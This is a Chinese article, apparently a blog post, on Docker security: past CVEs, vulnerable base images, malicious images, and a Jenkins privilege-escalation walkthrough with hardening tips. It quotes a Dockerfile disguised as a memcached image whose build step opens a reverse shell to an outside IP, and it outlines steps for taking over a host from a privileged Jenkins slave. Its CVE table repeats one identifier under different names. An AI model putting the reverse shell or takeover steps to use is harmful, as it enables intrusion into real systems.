目前国内也有大量互联网公司在生产环境中使用Docker,本文主要从Docker安全、DockerImages安全、Docker使用安全,聊一聊Docker安全。
Docker自身安全
CVE中关于Docker的漏洞报告如下:
序号 | CVE编号 | 漏洞版本 | 漏洞名称 |
1 | CVE-2015-3630 | 1.6.0 | Docker Libcontainer 安全绕过漏洞 |
2 | CVE-2015-3627 | 1.6.1 | Libcontainer和Docker Engine 权限许可和访问控制漏洞 |
3 | CVE-2015-3630 | 1.6.1 | Docker Engine 安全绕过漏洞 |
4 | CVE-2014-9358 | 1.3.3 | Docker 目录遍历漏洞 |
5 | CVE-2014-9357 | 1.3.2 | Docker 权限许可和访问控制漏洞 |
6 | CVE-2014-6408 | 1.3.1 | Docker 权限许可和访问控制漏洞 |
7 | CVE-2014-5277 | 1.3.0 | Docker和docker-py 代码注入漏洞 |
全部漏洞: https://docs.docker.com/engine/security/non-events/
Docker存在问题的版本分别在1.3和1.6,因为权限控制等问题导致可以脱离容器拿到宿主机权限。
从1.6到1.12都未爆出漏洞的情况,Docker本身无论是容器的隔离还是资源限制容器都有着很出色的表现。
更多的安全问题,主要发生在用户身上,没有正确的使用容器或者配置出错导致了容器的危险运行。
DockerImages安全
容器的环境是基于容器镜像,一旦容器镜像存在风险那么容器的安全性也要大打折扣了。
我们在看容器镜像又是根据Dockerfile一层层叠加的,如下图:
底层Base镜像引用“atiger77:1.0”,第二层镜像在此之上添加run.sh脚本到容器目录中,第三层镜像是指在容器运行时执行run.sh脚本。Docker镜像有自己的缓存机制,构建时会逐层往上进行检查,底层镜像如果没有产生变动,则跳过构建使用镜像Cache来节省构建时间,如果检测到变动则开始进行构建动作。
这里主要分两种情况来讨论容器镜像的安全。
- SoftwareVulnerability(镜像中使用的软件存在高危漏洞)
- BadImages(存在后门的容器镜像)
1.SoftwareVulnerability
还是根据刚才的镜像分层来说,底层Base镜像中如果使用的软件存在高危漏洞,那么所有使用Base镜像所构建出的镜像都会存在问题。例如:
上图中Base镜像只安装基础依赖组件,其中软件包abc有高危漏洞。根据Base镜像打出需要的镜像,左边的镜像是添加了代码目录到容器中,右边则构建了一个编译gcc的基础镜像。那么当Base镜像中的abc软件存在高危漏洞,那么所有相关依赖的镜像就都存在了风险。当出现这种情况时,需要先修复Base镜像中的问题软件,完成后一次对依赖的镜像重新进行构建动作。
根据上述情况,我分别从dockerhub和github中下载了部分镜像进行真实测试,
测试漏洞:Bash漏洞,测试代码: https://github.com/hannob/bashcheck/blob/master/bashcheck
测试版本:
分别使用官方镜像进行测试,版本为centos5.11/6.6/7.2
测试过程:
Version:5.11
Version:6.6
Version:7.2
测试结果:
从测试结果可以看到官网下载的centos5.11和centos6.6都存在BASH漏洞(CVE-2014-6277)。
CVE报告时间: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6277
Docker-Centos6.6官方dockerfile地址: https://github.com/CentOS/sig-cloud-instance-images/blob/8911843d9a6cc71aadd81e491f94618aded94f30/docker/Dockerfile
虽然Base镜像已然存在这个漏洞,但是容器用来跑服务的,一般情况下是不需要进入容器进行操作的,这里演示的只是一个通用漏洞,当然还会存在其他服务的漏洞容器镜像,使用容器基础镜像需要自己构建,保证Base镜像的干净和安全,现在也有很多人开始使用alpine的镜像。
其实到这边容器安全都是在可控范围内的,即使使用的服务或者应用有问题使得攻击者上传了webshell,操作的范围也只是在容器内并不会对宿主机产生影响,下面说说如何通过容器拿到宿主机权限。
2.BadImages
BadImages不是值“坏掉的镜像”而是说那些“恶意镜像”,所有带“Docker”和“容器”关键字的漏洞,大部分提交的漏洞都是通过Swarm没有配置正确,从而通过远程API实现了未授权访问。在所有Docker的容器中发现一个比较有意思的,利用自己编写的dockerfile执行反弹shell拿到了某公有云一台机器,让我们看下下面的dockerfile
FROM ubuntu
MAINTAINER Victor Coisne victor.coisne@dotcloud.com
RUN sleep 1
RUN cat /etc/passwd
RUN echo "deb http://mirrors.163.com/ubuntu/ precise main restricted universe multiverse" > /etc/apt/sources.list
RUN apt-get update
RUN echo "while ((1));do sleep 1;echo 111;/bin/sh -i >& /dev/tcp/1.1.1.1/1234 0>&1;done" >> /tmp/1.sh
RUN bash /tmp/1.sh
RUN sleep 20
RUN apt-get install -y memcached
ENTRYPOINT ["memcached"]
USER daemon
EXPOSE 11211
在构建过程中存在了一个反弹shell,由于该厂商自有服务的api没有和用户环境隔离做很好的隔离导致反弹shell成功。
容器相比传统的宿主机而言安全性是更好的,这也要归功于容器的快速迭代,使用容器可以加快整个开发交付流程,即使容器被挂了webshell几天后版本更新会上就会启动一个新的容器,之前的容器也不复存在了。
Docker使用安全隐患
Docker本身的安全性是值得信赖的,更多的还是人为使用的错误导致了安全隐患,大家印象里都对Swarm没有正确配置导致的安全问题比较了解,使用Swarm的同学可以参考下阿里容器服务的玩法,Swarm配置了tls,用户连接自己Swarm的时候,需要下载证书,使用证书才能和swarm建立tls连接。这里我会讲另一个docker使用场景中会出现的安全隐患以及一些使用docker的注意事项。
Docker的出现加快了整个开发-测试-上线流程,其中我们会使用Jenkins来做持续化集成的工作,简化流程大致如下(这里只介绍大概流程让大家有个印象,省去详细的流程):
1.开发本地编写代码,开发环境通过 --> 2.测试环境进行UT等其他测试,测试环境通过 --> 3.发布线上环境
当容器用在生产环境中,那么作为Jenkins而言就起到了CICD的作用,通过Jenkins-Master接受任务分配给对应Slave执行,通过后并将代码打包到镜像中发送上线。
让我们看一下大致的Compose文件:
compose运行在jenkins中设置完毕,主就可以把任务分配给从,并且由从进行测试构建编译打包成容器等动作。为了让jenkins-slave能在编译完成后在宿主机中打镜像而不是在容器内部,在compose中从挂卷将宿主机的/var/run/docker.sock挂到了容中,并且赋予了"privileged"权限,这个写法其实并没有什么问题,为了让从能构建镜像所以赋予root权限,恰恰是这样一旦jenkins被攻破那么就会对宿主机的安全造成了威胁,这里拿测试环境给大家演示一下。
环境:假设现在有一台Jenkins,攻击者通过爆破破解,弱密码尝试甚至没有密码的情况进入了Jenkins管理页面。
攻击思路:由于jenkins-slave有着root权限,我们需要拿到jenkins-slave权限然后进行提权操作,从而获取宿主机权限。
攻击过程:
- 确定节电中已经添加slave
- 添加任务并分配给slave
- 查看Slave宿主机中存在的容器列表
注:默认用户是jenkins,执行时需要加上sudo否则提示权限不足。这里可以看到拥有了privileged权限的slave容器获得了宿主机的权限。
- 在"Execute shell"中下载带有ssh服务的DockerImage
- 对宿主机所在机器进行端口扫描,可以发现2016端口状态为open
注释:本人是测试环境就写了内网IP。
- 登录宿主机2016端口添加公钥
- 登录宿主机的22端口,获取宿主机权限
加固方法:
Docker搭配Jenkins使用为了加快交付流程必然会出现权限问题,这里提供一种解法尽量避免危害,首先jenkins不要放在公网上,登录接口可以使用JIRA插件,在JIRA中设置密码复杂度。
这里还想提一下容器创建时一定要加上最大资源使用上限,容器在宿主机中就是个进程,一旦出现内存泄露或者Forkbomb类似的事件,宿主机的资源会消耗殆尽导致宿主机上的所有主机都不可用,建议在服务上线前先预估使用量。
Docker在操作者正确使用的情况下,安全性是可以得到保障的,就拿Jenkins的例子来说虽然开了privilege,要拿到宿主机的权限还是会碰到许许多多的问题,只能拿到容器层始终没办法提权到宿主机。
随着Docker逐渐更新完善安全问题会越来越少。